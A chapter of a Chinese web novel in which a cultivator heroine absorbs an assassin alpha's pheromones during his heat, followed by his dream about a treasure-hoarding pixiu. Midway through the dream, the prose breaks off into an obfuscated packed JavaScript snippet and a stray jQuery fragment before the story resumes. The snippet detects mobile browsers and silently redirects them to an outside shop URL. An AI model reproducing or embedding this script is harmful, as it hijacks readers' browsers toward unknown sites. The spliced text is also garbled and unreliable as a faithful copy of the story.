尽管出身隐士家族的柏晔自身存在感很低,但他所住的房子却与低调二字丝毫不沾边,竟然是学校附近的一栋二层小别墅。
首都星寸土寸金,即使星际综大在郊区,房产和房租的价格也不是别的星球可以比肩的,所以只有个别非常有钱且排斥和别人同住的学生会选择在校外居住,柏晔的这栋别墅少说也要几千万星币。
云知遥不由感慨,看来在联邦做杀手挺赚钱的。
然而更令人咋舌的是进入别墅后,院子里长着各种野草和竹子,看着很荒凉,但是房间里却堆满了各种珠宝和黄金,甫一打开灯,各种光芒反射,几乎能把人的眼睛照瞎。
柏晔似乎是有些不好意思,黏在云知遥身上,嘟着嘴撒娇一般:"我自己住糙惯了,有什么破烂都喜欢随手放,你不会嫌弃我是个糙A吧?"
云知遥叹了口气,将他从自己身上扒拉下来:"没关系,我们现在开始吧。"第一次见到把黄金珠宝说成破烂的,这么凡尔赛她真的会忍不住给他一拳。
所谓眼不见为净,云知遥闭目打坐,开始运转丹田,吐纳吸收柏晔身上散发出来的浓郁金元素。待到丹田丰盈,她召唤出八卦鼎,将空气中浓郁的元素气息捕捉储存。
柏晔的情况显然比甘硫和莫斯维亚要好得多。如果说甘硫因为初次发情期被冲击得不知所措,莫斯维亚因为症状过于激烈而神志不清,柏晔则是早已习惯了发情期这令人痛苦的高热和折磨,即使全身滚烫,脸颊绯红,嘴唇被牙齿咬得溢出血丝,神志却依然是清晰的。
他纤细的身体仰躺在沙发上,双手狠狠地抓着沙发皮面,几乎要把可怜的沙发撕碎一般。他眼角下的那颗泪痣在发情期变得和红宝石一样鲜红,雾蒙蒙的眼眸因为八卦鼎的出现而突然有了焦距。
"这就是你的秘密武器么……"柏晔喃喃,眯着眼睛,试图把空气中悬浮着的小小炉鼎看清楚,但发情期的热潮让他的视力远不如平常,于是,他伸出纤细的手指,轻轻地触碰了一下小小的鼎身。
正在运作的八卦鼎被突如其来的陌生人碰了一下,在空中抖了几下,倏然飞到了云知遥身后,将自己藏得严严实实,仿佛有生命一般。
云知遥也被他的动作打乱,气息一顿,停止了吸纳,她睁开眼睛,似是有些不悦,清丽的小脸紧绷,声音透着些许看顽皮孩子的无奈:"柏晔同学,请不要随便碰我的本命道具,否则我无法专心吸纳你的信息素。"
柏晔笑了……手背垂在眼睛上,仰躺着哈哈大笑,胸腔都因为这肆意的笑而震动起来。
他想,也许是发情期就会陷入不理智的状态吧,他竟然觉得眼前的beta可爱极了。
没错,就是可爱,他常在暗中观察这个beta,总是一副云淡风轻、优哉游哉的样子,仿佛一切都无法吸引她的注意,但这样一个云朵一般的人,却因为自己刚刚的触碰而露出一丝窘态。
那种拿他无可奈何的样子,令他除了可爱再想不到另一个合适的形容词。
理智地度过发情期固然安全,尤其是在一个身怀异能的陌生人面前,但放纵自己沉溺于宣泄的快感实在诱惑巨大。
早已将小心谨慎刻在了基因里的隐士,在这一刻不想拥有理智了。
浓郁的信息素被吸收接纳的快感令alpha头皮发麻,他踉跄着站起身,忽然关掉了客厅里流光溢彩的水晶灯,静悄悄地走到云知遥身后跪坐。
alpha不敢面对面看着他,他怕被看到黑暗中自己野兽般发光的眼睛,比这个房间里成色最好的黑宝石还要亮。
再次睁开眼睛时,神志却已被他抛至九霄云外。他从身后紧紧地搂住beta的细腰,炽热的身体严丝合缝地紧贴着beta的后背,像是在靠怀中人降温,尖尖的牙齿从嫣红的嘴唇中露出,探上beta洁白纤细的脖颈。
怀中的beta因为尖牙的触碰而战栗,端坐着的身体动了动,似乎是想要摆脱身后的禁锢,却不料被缠得更紧,连体婴一般甩不掉。细微的叹息声传来,beta认命了,由着身后的人胡闹。
谁知,alpha的尖牙探了半天,也没有找到心心念念的腺体,他的眉头皱了起来,黑色的眼睛中写满了无法标记心仪猎物的迷茫,他张大了嘴巴,想要一口咬下去,但又不忍心破坏了心爱的宝物,最终只是用舌头将洁白的皮肤舔得湿漉漉。
云知遥被人抱着舔来舔去,感到生理和心理双重被冒犯的不适,她只好加快吸纳的速度。
好在有了前两次的经验,这种事已经十分熟练了。一个多小时后,这间堆满了金银珠宝的房间里,金元素的气息已经微不可察。
然而,柏晔却依旧瘫软着身子,伏在她的肩膀上,像鸟儿一样亲昵地用头顶的黑发蹭着她的脸颊,不知是因为浑身无力起不来,还是因为过于舒服不想放开宝物。
云知遥将八卦鼎收入丹田,正色道:"柏晔同学,你的信息素我已吸纳完毕,不知你现下感觉如何?"
"啊,这么快么……"柏晔沙哑的声音轻飘飘地从耳畔传来,带着他湿热的呼吸,扑在云知遥的耳廓上:"可是,云同学,我好像还是有些不舒服呢。"
"是哪里不舒服?"云知遥皱眉,似是对这件事十分上心,语气中也带着关切之意。难道是自己这套方法出了小问题?还是不适合柏晔?
柏晔却低声笑了笑:"浑身没力气,起不来。"
云知遥听完后松了一口气,眉眼舒展:"兴许是发情期度过后会有些虚弱,休息片刻即可。"
"那好哦,你再让我靠会儿。"
柏晔舒服地半阖着眼睛,伸出一只手在身旁的珠宝堆里摸了摸,找出一串黑色玛瑙串成的手链,套在了云知遥的左手上,懒洋洋道:"你总是一身白,好单调,偶尔也试试黑色啊。"
玛瑙珠子一粒粒打磨得光滑润泽,一看便是价格不菲的珍宝,云知遥下意识想推脱,柏晔却耍赖不许她摘下来。她一向不喜与人争执,便接受了他的赠与。
柏晔有着整整一个房子的金银宝石,一串手链与他而言,或许真的是随手送出的微不足道的小礼物吧,一直推拒反倒显得自己矫情。
但……无功不受禄。云知遥想了想,朝他额头轻轻一点:"既如此,我也送你一件礼物,"她在心中念了一个诀,灵力随着指尖送上alpha光洁的额头:"你今夜会有个美梦,柏晔同学。"
纵然柏晔想要装柔弱一直赖在云知遥身上,说不上为什么,他喜欢这种懒洋洋的感觉,但S+alpha的体质却做不了假,短短十几分钟,他的身体便恢复了大半。
云知遥拒绝了柏晔热情的过夜邀请,踏着月色回到了寝室。
她的光脑上收到了一条信息,是机甲工程师社团群里的,社团明天有活动,学长学姐们打算趁着这几天假期带新生了解一下机甲,现在正在群里面统计报名。云知遥毫不犹豫地给自己报了个名。
而那栋豪华的别墅里,柏晔在云知遥走后,难得地感受到了一丝冷冷的孤独。
事实上,作为隐士家族的一员,柏晔更习惯于独行,但或许是信息素的作用,他此时更希望云知遥能留下来陪他。即使什么都不做,也比面对这一大堆冷冰冰的金银珠宝要好。
慢慢的,疲倦涌了上来,柏晔一歪身子,在沙发上睡着了。
这天晚上,他做了一个梦。
出生在以杀手著称的隐士家族,柏晔从一个小豆丁时期,便开始接受严苛的训练。当然,这并不代表柏晔有个凄惨的童年,相反,身为一名S+alpha,繁重的训练可以消耗他过多的精力,并且接单杀人满足了他嗜血的欲望,还赚到了很多很多钱。
隐士家族的人都爱财,这是刻在骨子里的,几千年前的老祖宗为了赚钱当暗卫,或者干刺客这种刀口舔血的活计,为了赚多多的钱,他们不断精益求精,打磨自己的身手,成了全星际佣金最高的杀手世家。
但柏晔爱财的方式却和家族里其他人不一样。
哥哥姐姐都有一张银行卡,他们把赚到的佣金放在银行卡里,每天用光脑看那一串串数不清有多少个零的存款,笑得见牙不见眼。
但柏晔却总是将佣金换成金银珠宝,与隐士们总是一身漆黑的形象不同,他偏爱金灿灿、亮晶晶的东西。
爸爸对他说:"小晔,为什么不把你那些金银珠宝换成钱存起来呢?我们杀手带这些东西多不方便呀。"
妈妈也对他说:"是啊是啊,而且金银珠宝只能放在家里,你穿戴出去很容易被发现,就没办法当个好杀手了。"
柏晔不以为然,他就是喜欢金银珠宝,看得见摸得着,每天躺在自己的宝藏堆上,不比银行卡里面的数字好呀。
但小柏晔也有一个烦恼,那就是总有人偷自己的宝贝。要知道,隐士家族都是潜行的好手,他总有不在家或者睡着的时候,哥哥姐姐们就会趁机小小的偷一些他的东西,换成自己银行卡中的数据。甚至有一次,小柏晔发现了蹑手蹑脚鬼鬼祟祟偷自己今天的爸爸。
小柏晔当场大哭:"爸爸!你怎么也欺负我!"
爸爸讪讪:"炒股输了想平仓,没忍住,以后不偷了。"
小柏晔生气,但小柏晔没办法,他只能在生日时悄悄许愿,希望以后自己的宝贝不会再被偷了。
这个愿望他从小就许,但这一次,自家后院的云层里飘来了一个神仙,回应了他:"柏晔小友,你的愿望我已知晓。我将赠你一灵宠,助你再不丢失金银财宝。"
云彩飘散,神仙身影消失,地上只留下了一个圆滚滚的金色小兽,正左瞧瞧右看看地打哈欠。
小柏晔兴奋:"哇,好可爱的小猫咪!"
小兽听完,大怒,噌的一下跳起来痛击小柏晔的膝盖:"臭小孩!说谁是小猫咪呢,我可是大名鼎鼎的神兽貔貅。"
别看它个子小,但反应快力气大,就连身手不错的小柏晔在它攻击时都没反应过来,被重重地打了一下,膝盖都泛起淤青。
小柏晔忍着痛,委屈巴巴道:"好吧,貔貅,我就叫你貔貅吗?"
貔貅得意洋洋地摇着尾巴:"貔貅是我的种族,我有名字的,小孩你就叫我葛朗台吧。"
就这样,小柏晔和葛朗台成为了好朋友,葛朗台果真是神兽,可以储存无数金银财宝,除了小柏晔谁都拿不到。
于是,再也没有人能偷小柏晔的宝贝了,他每天兢兢业业地杀人,兢兢业业地赚钱,再兢兢业业地将钱换成金银财宝交
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596696|205313||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给葛朗台储存,葛朗台每次看到新的宝贝,都会激动地跳来跳去。
直到有一天,葛朗台开始变得没精打采:"喂,小孩,怎么最近都没有新的种类的宝石了啊,和以前收藏的都是重复的,唉,没意思。"
它说罢还打了个滚,百无聊赖地抠地上的草。
小柏晔也想收集其它的宝石,可是他这座星球上能够花钱买到的花样就这些,他无奈,垮着一张小脸,和葛朗台一起躺在地上发呆。
葛朗台突然想到了一个好主意,放过了地上被它抠得半死不活的草,用爪子推了推小柏晔圆嘟嘟的脸颊:"嘿,小孩,我有个好主意,我们去做宝石猎人吧!"
小柏晔坐起身,对这个建议颇有兴趣:"什么是宝石猎人?"
葛朗台说:"就是像猎人那样到处跑,去寻找新的金银财宝啊,就和冒险一样,非常有意思。"
一人一兽一拍即合,柏晔攒了许多钱后,买了一辆超小型飞艇,开始前往别的星球寻找宝石。
一开始,他们的狩猎并不顺利,宝石哪里是那么容易找到的东西呢,都在矿里或者地底藏着。
葛朗台转了转眼珠子,生成了鬼点子:"诶,有了,我们去抢别人的宝石吧。"
小柏晔闻言,板着脸,想也不想拒绝道:"那不行,抢东西是坏人才干的事情。"
葛朗台无语:"你一个杀手还讲究这个?"
小柏晔:"那当然,"他解释:"杀手这个身份,你可以将它想成一件工具,A与B结仇,A花钱买了一套工具,用工具杀死了B,那无论谁对谁错,都是A和B之间的事情,关工具什么事?但要是我主动去抢别人的东西,那我便是在主观上做坏事,就成了坏人了。"
葛朗台:"……小屁孩说得怪有道理,竟然无法反驳。"
葛朗台原地转了几圈,又生成了另一个鬼点子:"对了,我们可以去抢那些星盜的宝石,他们都是坏人,抢坏人的东西不算做坏事吧。"
小柏晔皱眉,纠结了一会:"打坏人是没错的,但是抢坏人的东西就属于主观贪婪了吧,好像也是在做坏事。"
葛朗台急得满头大汗,没想到这小孩还怪有原则,它急中生智,舔了舔自己的爪子:"有了,我们可以先把那些人都打一顿,然后让他们把自己的宝石都丢在地上,东西丢在地上后就是无主之物,捡无主之物可没错吧,而且我们还打了星盜,是做好事啊!"
虽然听起来怪怪的,但是小柏晔歪着脑袋思考了半天,也没有找到逻辑漏洞,便答应下来。
柏晔虽然只是个十来岁还带着婴儿肥的小孩,但是S+alpha以及隐士家族武功的加持,让他一打十都不在话下,至于葛朗台,貔貅虽小力量无穷,更是打架的一把好手。
没过多久,星盜间就流传起了一个传闻——常常有倒霉的小型星盜团伙,被一孩一兽袭击,他们总是先把星盜打得鼻青脸肿,然后让星盜把所有的宝石扔在地上。
有星盜为了讨好他们,想主动交出自己的宝石求放过,但那小孩怎么都不收,还把他打得更厉害,说这叫勒索。
一时间,星盜们闻风丧胆,星际航线都太平了不少。
但是,好日子没持续太久,一年后,柏晔和葛朗台再次百无聊赖地躺在了后院的草坪上。
葛朗台:"好像星际的宝石都被我们收集一遍了。"
柏晔:"是啊,好无聊,好想收集新的宝石。"
葛朗台在草地上滚来滚去,突然精神抖擞地站起身,跳到了柏晔身上:"对了,柏晔,你想不想去我的家乡啊,那里的宝石和这里的不一样!"
柏晔:"你的家乡?"他目光一滞:"对哦,你是神仙送来的。"
葛朗台点点头:"对啊,我的家乡是个叫做修真大陆的地方,那里也有很多的天材地宝,还有一类名叫炼器师的修士,可以炼制出来更多的东西,创造出新的宝石也是可以的。"
柏晔兴奋地站了起来:"那不错,真是个好地方。"
葛朗台召唤了神仙出来,把两人传送去修真大陆,却见眼前人流涌动,一座巍峨的大山下,都是十来岁孩子在排队。
葛朗台:"好巧!是宗门大选,被选中可以拜入想去的门派,你要是能去炼器宗,就能自己炼宝石了。"
柏晔稀里糊涂地混在人群中,尽管他对修真界一无所知,但竟然也莫名其妙通过入选。
"孩子,你想要加入哪个门派?"一老者问。
柏晔想也没想:"炼器宗!"
老者笑着抚须:"炼器宗不错,宗主云知遥是万年难遇的天才,若能成为她的关门弟子,你将来定能学有所成。"
云知遥……这个名字有些熟悉,但柏晔再怎么努力想也想不出来是谁。
这时,炼器宗的宗门打开,走出了一名身材纤细的女子。她的脸蒙着一层雾看不清晰,声音似乎也隔得很远。
但那一瞬间,柏晔忽然感受到了一种强烈的震颤,他好像……好像在阴差阳错中,来对了地方。
…………
闹钟忽然响了,柏晔从沙发上醒来,他愣怔几秒才回过神,回忆起那个荒诞不经的梦,低笑两声:"还真是做了个有趣的美梦。"